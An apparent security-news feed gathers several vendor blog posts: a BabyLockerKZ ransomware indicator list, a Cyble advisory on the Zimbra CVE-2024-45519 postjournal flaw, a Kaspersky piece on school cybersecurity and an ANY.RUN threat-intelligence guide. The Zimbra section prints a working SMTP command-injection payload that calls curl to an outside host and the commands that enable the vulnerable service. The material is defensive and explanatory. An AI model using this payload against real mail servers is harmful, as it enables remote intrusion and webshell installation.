b8c994e3ed7dcc9080916119ddc315533c129479f508676d7544b82b2e24745f

63eb3d2886d9cb880c9b0d54b94f3e149b3b5b6215a33a0ef63588a09dcd4499

270c3354b3ee2940b499e365eaba143fba9d458f434dc38e663dc0f08e96121e

759b96f44806578cc0836a3a2bf11c8bc553effac72f8d28b94aec78b66be906

PTH:

9f066975f1e02b29c7c635280f405c59704ce4f4e06b04e9ac8a7eac22acd3c7

8bc455e5de35290f8a94376357947bd72aaf6f4d452c25a8ef444e037ef76b9f

Checker:

d00f7cf6af68ba832b9d364f28411346cfe66fd3b1f5bcac318766add29ff7f0

1f2df15442593b159e45d16a27e4d43d3a9062da212a588ba4c048f214a0b7be

1e9246e6a35731143368eaa0ade4f3cf576d6b22e6090152f6e94f1fa3070651

6ae3a58a78be9c606009c657de4e390538b21ad951e62b6f4d31138e1a75732c

2eddfe711c32ef1668e14a10d00452c83c29e394e17c41f491550a1583c1bcac

HOHOL1488:

dc4840a0992b218cbedd5a7ac5c711cb98f1f9e78a8ffdea37c694061dfd34c6

48046fb0e566f5a2d184f84b76d6cadc458762556daed0ae4a3a1200afbefb54

c0c726a23111c220d022fcd01a85f9788249e42baece03f83b6059170453b801

012657c4548d9c98223caa4cc7aa52fc083d6983d42fde16ca3271412e7fe3fe

8edbb1944d94ff91ee917c31590b6d1d5690a52fc153e44355ee9749aa0f4625

364f1b7466d8e4c9f55294ecf1f874c763bcf980c59b0250c613ac366def6aca

5d5d639fdfbf632bb7d9f1bb28731217d09d36078ab5e594baf2a5a41267a5d2

PDB list:

d:/projects/paid_memes/virus/release/stub.pdb

e:/locker/bin/stub_win_x64_encrypter.pdb

i:/locker/bin/stub_win_x64_encrypter.pdb

d:/education/locker/bin/stub_win_x64_encrypter.pdb

d:/education/locker/bin/stub_win_x86_encrypter.pdb

d:/projects/paid_memes/wmi_smb_rdp_checker/release/checker.pdb

d:/projects/paid_memes/mimik/release/stub_mimik.pdb

i:/locker/x64/release/phantom.pdb

d:/projects/paid_memes/pth/release/pth.pdb

Registry keys:

HKEY_USERS%SID%SOFTWAREPAIDMEMESPRIVATE

HKEY_USERS%SID%SOFTWAREPAIDMEMESPUBLIC

HKEY_CURRENT_USERSOFTWAREPAIDMEMESPUBLIC

HKEY_CURRENT_USERSOFTWAREPAIDMEMESPRIVATE

HKCUSOFTWAREPAIDMEMESPUBLIC

HKCUSOFTWAREPAIDMEMESPRIVATE

HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunBabyLockerKZ

HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunBabyLockerKZ

HKEY_USERS%SID%SoftwareMicrosoftWindowsCurrentVersionRunBabyLockerKZ

Extension names observed being used by BabyLockerKZ samples:

crypto125

crypto1317

crypto165

crypto41

crypto76

encrypted1

hazard11

hazard21

hazard23

hazard24

hazard25

hazard27

hazard31

hazard38

hazard49

hazard55

hazard56

hazard7

infected

lock2

lock3

lock5

locked9

lockfiles

meduza210

rapid1

rapid10

readtext13

readtext47

readtext49

recovery29

recovery70

virus2

virus3

virus57

Encryption key BabyLockerKZ:

PUTINHUILO1337

MUTEX BabyLockerKZ:

HOHOL1488

Cisco Talos Blog – ​Read More

Separating the bee from the panda: CeranaKeeper making a beeline for Thailand

ESET Research details the tools and activities of a new China-aligned threat actor, CeranaKeeper, focusing on massive data exfiltration in Southeast Asia

WeLiveSecurity – ​Read More

Zimbra Remote Code Execution Vulnerability Under Active Attack

Key Takeaways


A critical remote code execution (RCE) vulnerability (CVE-2024-45519) in Zimbra’s postjournal service is under active attack; users are urged to patch immediately.

A Proof of Concept (PoC) demonstrated that the vulnerability can be exploited with specially crafted emails.

The postjournal SMTP parsing service is not enabled by default in Zimbra, but as Cyble sensors detect more than 90,000 web-facing Zimbra instances with unpatched earlier vulnerabilities, all Zimbra customers should approach this issue with urgency.

Overview

A critical vulnerability (CVE-2024-45519) in Zimbra’s postjournal service that allows unauthenticated remote command execution is under active attack.

The vulnerability allows unsanitized user input to be passed to popen, enabling attackers to inject arbitrary commands.

Patched versions add input sanitization and replace popen with execvp to mitigate the direct command injection vulnerability. Zimbra administrators should also check the configuration of the mynetworks parameter to prevent external exploitation.

Patched versions include these versions and newer:


9.0.0 Patch 41

10.0.9

10.1.1

8.8.15 Patch 46

One IP that has been identified as a source of malicious emails and exploit attempts is 79.124.49[.]86.

Technical Analysis

Exploitation began after ProjectDiscovery researchers reported a Proof of Concept (PoC) for the vulnerability.

The researchers reversed the postjournal binary and found that there were no calls to execvp or the run_command function. Instead, a direct call to popen was made in the read_maps function, allowing input to be passed without sanitization. The cmd argument passed to popen in double quotes would prevent command injection with simple shell metacharacters, but that control could be bypassed with $() syntax.

The postjournal service was then exploited via port 10027 with the following SMTP commands:

EHLO localhost

MAIL FROM: <aaaa@mail.domain.com>

RCPT TO: <“aabbb$(curl${IFS}oast.me)”@mail.domain.com>

DATA

Test message

.

The same exploit over SMTP port 25 required the postjournal service to be enabled, which was accomplished with a Bash script:

zmlocalconfig -e postjournal_enabled=true

zmcontrol restart

To enable remote exploit, the researchers found that the mynetworks default configuration included a /20 CIDR range of their public IP address, which could allow the exploit to be performed remotely if the postjournal service is enabled and the attacker is within the allowed network range.

Proofpoint researchers have observed the vulnerability under exploitation, with spoofing emails sent to fake addresses in CC fields to try to get Zimbra servers to parse and execute them as commands. The addresses contained base64 strings that are executed with the sh utility.

Some of the emails used CC’d addresses in an attempt to build a webshell on a vulnerable Zimbra server. The full CC list is wrapped as a string, and if connected, the base64 blobs decode to a command to write a webshell to /jetty/webapps/zimbraAdmin/public/jsp/zimbraConfig.jsp (see image below).

Once installed, the webshell listens for inbound connections and also has support for command execution via exec or download and execute over a socket connection.

Zimbra is a popular target of cyber threat actors, and CISA already includes several critical vulnerabilities in the Zimbra Product Suite in its Known Exploited Vulnerabilities catalog:

 cveID
vendorProject
product
vulnerabilityName

CVE-2023-37580
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Cross-Site Scripting (XSS) Vulnerability

CVE-2022-27926
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Cross-Site Scripting (XSS) Vulnerability

CVE-2022-41352
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Arbitrary File Upload Vulnerability

CVE-2022-27925
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Arbitrary File Upload Vulnerability

CVE-2022-37042
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Authentication Bypass Vulnerability

CVE-2022-27924
Zimbra
Collaboration (ZCS)
Zimbra Collaboration (ZCS) Command Injection Vulnerability

CVE-2018-6882
Zimbra
Collaboration Suite (ZCS)
Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability

CVE-2022-24682
Zimbra
Webmail
Zimbra Webmail Cross-Site Scripting Vulnerability

While CVE-2024-45519 hasn’t been officially reported yet, Cyble data already shows more than 50,000 web-exposed Zimbra servers with unpatched earlier critical vulnerabilities. It remains to be seen how many will be exposed to the latest vulnerability.

Recommendations

All Zimbra administrators should:


Disable postjournal if not needed

Configure mynetworks to prevent unauthorized access

Apply the latest security updates directly from Zimbra

The post Zimbra Remote Code Execution Vulnerability Under Active Attack appeared first on Cyble.

Blog – Cyble – ​Read More

How to protect schools from cyberthreats | Kaspersky official blog

A very troubling trend in recent years has been the rising number of cyberattacks targeting educational institutions. The United States, for instance, has seen school education become one of the most targeted sectors. According to the UK’s Information Commissioner’s Office (ICO), the number of attacks on schools increased by 55% from 2022 to 2023. A similar pattern is emerging globally. Let’s unpick what’s going on here, and look at the ways schools can defend themselves.

Why cybercriminals love school

Several factors contribute to the growing vulnerability of schools, making them attractive targets for cybercriminals:

Dependence on technology. Educational institutions are rapidly becoming digital and are thus reliant on IT infrastructure both in the classroom and in schools’ administration offices. However, their cybersecurity practices are often sadly lacking.
Valuable data. Schools store a wealth of sensitive information, including student and staff data, and financial records. Data breaches can have devastating consequences, and this data is exactly what attackers are after.
Scarce resources. Schools often face tight budgets and a shortage of qualified IT professionals — especially in cybersecurity.
Low user awareness. A great many computer users in schools have little cybersecurity nous. This means they’re susceptible to phishing attacks, malware infections, and other cyberthreats. Often, teachers aren’t much more cyber-savvy.

This all turns educational institutions into sitting ducks. What’s more, successful attacks attract plenty  of public attention, which gives cybercriminals leverage — particularly in ransom negotiations following a ransomware attack. The essential nature and social importance of educational institutions also play a significant role.

Sure, if a ransomware attack temporarily shuts a retail chain down, it’s unpleasant — but mostly just for the business itself; customers can generally go elsewhere quite easily. However, if a cyberattack disrupts a school, the consequences are far more serious. Students lose access to education, their academic performance suffers, and parents get landed with arranging childcare and other headaches.

Cyberattacks on educational institutions

Attacks on education are now so common that you don’t have to look far for examples of even large-scale incidents — just look at recent headlines. Not so long ago, a cyberattack targeted Highline Public Schools, a school district in Washington state in the US. The incident forced the district to temporarily close all 34 of its schools — affecting over 17,000 students. All educational activities, including athletics and meetings, were suspended.

In August of this year, the Singapore Ministry of Education announced that an unknown hacker had wiped clean 13,000 iPads and Chromebooks used by students across the country.

In June, the Toronto District School Board, which oversees nearly 600 schools in Canada’s largest city, was hit by a ransomware attack. In May, Western Sydney University, one of Australia’s largest universities with over 35,000 students, reported a hack on its IT infrastructure.

How to protect schools from cyberattacks

With the education sector firmly in the crosshairs of cybercriminals, schools’ IT systems need robust protection.

So how to get it? While large schools, colleges, and universities can allocate substantial budgets for enterprise-grade software and dedicated cybersecurity staff, smaller schools often lack these resources.

As a result, these schools sometimes resort to using security software intended for home use. However, this isn’t ideal. Such products aren’t designed for centralized management, so deploying them across numerous school computers, let alone managing them effectively, can become a major headache.

A far better solution for small schools would be a product designed for small and medium businesses (SMB), such as Kaspersky Small Office Security. Such security software offers all the essential features needed for basic security:

Reliable protection against ransomware and other malware
Automatic backups
Password manager to protect accounts
Vulnerability scanning and much more

Furthermore, SMB security solutions is easy to deploy, and it can operate on an “install and forget” basis — no dedicated IT or security specialist is required for setup and management.

To strengthen school cybersecurity further, we also recommend conducting staff training to raise awareness of cyberthreats. This is easy to set up with our Kaspersky Automated Security Awareness Platform, which helps slash both the time and cost of training.

Kaspersky official blog – ​Read More

TI Lookup: Real-World Use Cases from a Malware Researcher

Editor’s note: The current article is authored by Anna Pham (also known as RussianPanda), a threat intelligence researcher. You can find her latest research and insights on X, LinkedIn, and her blog.

ANY.RUN introduced Threat Intelligence Lookup in February 2024, followed by the YARA Search in April 2024. This article will explore both services and their use cases. 

How Threat Intelligence Lookup Works

Threat Intelligence Lookup allows users to search through the database of sandbox tasks by examining specific details such as:

Processes

Modules

Files

Network and registry activity

All of these are logged by the ANY.RUN sandbox.

The service helps users find critical information like IOCs (Indicators of compromise), events, sandbox reports, and other data corresponding to the search query. 

Figure 1: Main page of Threat Intelligence Lookup service  

The main page of the Threat Intelligence service provides a summary of the most common MITRE techniques used, malware threat statistics, and popular Suricata rules derived from submitted samples, offering valuable insight into current cyber threat trends. 

Figure 2: Threat Intelligence Lookup panel overview 

After navigating to the Lookup section you’ll be able to submit your search query using over 40 different search parameters.

Explore all search parameters available in TI Lookup in the following article. ANY.RUN also offers a comprehensive query guide for the TI Lookup once you’re on the platform. 

Let’s now look into a few use cases with some of TI Lookup’s key search parameters.

Test TI Lookup to see how it can benefit your threat investigations 



Request free trial


Searching for Stealers Reaching out to Telegram  

We can create a query to identify stealers reaching out to Telegram IPs, potentially exfiltrating sensitive data, using the “destinationIpAsn” and “threatName” parameters, as shown below, for the past three months or 180 days. You can also search within 60, 30, 14, 7, 3, or 1-day intervals and bookmark the search query for later use.

Here is the query:

Figure 3: Lookup for stealers reaching out to Telegram and the result overview 

The search results show the associated IPs, Events, Files, Tasks, Synchronization (events and mutexes created), and Network threats.  

Figure 4: Overview of the Files tab 

From the Files tab, users can extract indicators and save them in JSON format.

Figure 5: Static discovering of the PE file 

Note: You can export data from any category, such as IPs, Events, Tasks, etc., in JSON. Additionally, users can view binary characteristics with static analysis or download the binary itself. 

Figure 6: Network threats tab 

We can confirm the exfiltration activity via Telegram within the Network threats tab.

Start your first investigation in TI Lookup 



Request free trial


Looking for LummaC2 samples and C2s 

To identify LummaC2 samples and C2 domains, we can use Lumma’s domains that are known to end with “.shop/api” via the following query:

The dollar sign ($) in a search represents the end of a string. When used in a search pattern, it ensures that the search string must match the end of the text being evaluated. So, using $ in the pattern “.shop/api$” ensures that the URL ends exactly with .shop/api and no other characters follow. 

Figure 7: Search results for .shop/api$ 

From the search results, we identified 26 URLs and domains related to LummaC2, which can be exported and operationalized for further monitoring, blocking, or threat hunting within the security infrastructure. 

Figure 8: URLs and Domains findings 

Searching for URLs Used to Retrieve DLL Dependencies and Pivoting on the ASN 

We know that some stealers, such as Vidar Stealer, RecordBreaker (Raccoon Stealer v2), and StealC, use additional DLL dependencies like “softokn3.dll” and “mozglue.dll” to facilitate data exfiltration from browsers, so we can create a query to look for URLs delivering the DLLs: 

Figure 9: The output from running the query that searches for URLs retrieving the DLL dependencies 

From the results below, we can see the processes that initiated the connections to the URLs to retrieve the DLLs, along with the associated URLs, IP addresses, and the countries of origin for those IPs.

Additionally, we identified another pivot point with the ASN “1337team Limited”:

Figure 10: Results from pivoting on 1337team Limited ASN 

Pivoting on the ASN mentioned above revealed more events and IPs, some of which are associated with StealC, Redline, and Amadey activities.  

Searching for Interesting Samples Using MITRE  

Users can search for relevant samples using MITRE techniques or IDs. ANY.RUN provides predefined IDs and their definitions, eliminating the need to search for them elsewhere. 

Figure 11: Predefined MITRE IDs and their definitions 

We can look for phishing samples containing malicious QR codes via the following query, where T1566 is Phishing: 

Figure 12: Results from the search for phishing emails containing the QR code 

Now, we can spice up the query and look for phishing links containing the Cloudflare challenge that is commonly used by Tycoon 2FA and other phishing kits: 

Figure 13: Results from the search for phishing links containing the Cloudflare challenge  

The query can also be adjusted to show the phishing samples with URL submissions only instead of the file attachments using the threatLevel “malicious” to avoid false positives:

Figure 14: Searching for samples containing URLs instead of file attachment submissions 

Searching for samples using CommandLine 

We can search for Latrodectus downloader samples, which is known to drop the copy of itself under the “%AppData%Custom_update” path. We can leverage that knowledge to create a query that looks for command lines containing that path:

Figure 15: Results from the query to look for a specific file path within the command line to search for Latrodectus samples 

From the Synchronization tab, we notice the mutex “runnung” being used, so we can also leverage that to look for Latrodectus samples. 

Figure 16: Leveraging the mutex finding to find Latrodectus samples 

We can also leverage CommandLine to look for malicious PowerShell commands, for example, while looking for a RobotDropper, aka LegionLoader samples.

So, for the query, we are going to grab a snippet of the base64-encoded command, which partially decodes to “$w=new-object”:

We have 13 samples that match our query, all of which are true positives.  

Figure 17: Results from the query to look for RobotDropper using CommandLine search parameter 
Figure 18: Events tab overview from the search query 

Investigate cyber threats using TI Lookup 



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Searching for Gh0stRAT Samples and C2s from a Specific Country  

We can also create a query that searches for Gh0stRAT samples and C2s using “destinationIPgeo” as one of the search parameters; this query looks for Gh0stRAT samples that connect to servers located in China:

Figure 19: Results from the query to look for Gh0stRAT samples that connect to servers based in China 

YARA Search 

In addition to the Threat Intelligence Lookup service, ANY.RUN offers YARA Search, enabling users to scan its database of collected and analyzed threat data using YARA rules, whether imported from the local machine or created on the fly. 

We can create a YARA rule to look for LummaC2 Stealer samples, and in under 10 seconds, we get the results, which is impressively fast. Users can also run multiple YARA scans in separate tabs.  

Figure 20: Results from YARA scan 

You can view the binary’s PE characteristics from the results, download it, and export the results in JSON format. 

Figure 21: Exported JSON results 

Conclusion 

ANY.RUN’s Threat Intelligence Lookup and YARA Search services allow for precise threat hunting and the extraction of valuable insights into current cyber threat trends. What’s impressive is how fast these scans are—they significantly speed up the analysis process, allowing for quick detection of threats and malware. 

ANY.RUN is making it easier for organizations to take a proactive and informed stance on cybersecurity, which is essential in our constantly evolving threat landscape.

Test ANY.RUN’s Threat Intelligence Lookup and YARA Search in a free trial →

The post TI Lookup: Real-World Use Cases <br>from a Malware Researcher appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Why system resilience should mainly be the job of the OS, not just third-party applications

Building efficient recovery options will drive ecosystem resilience

WeLiveSecurity – ​Read More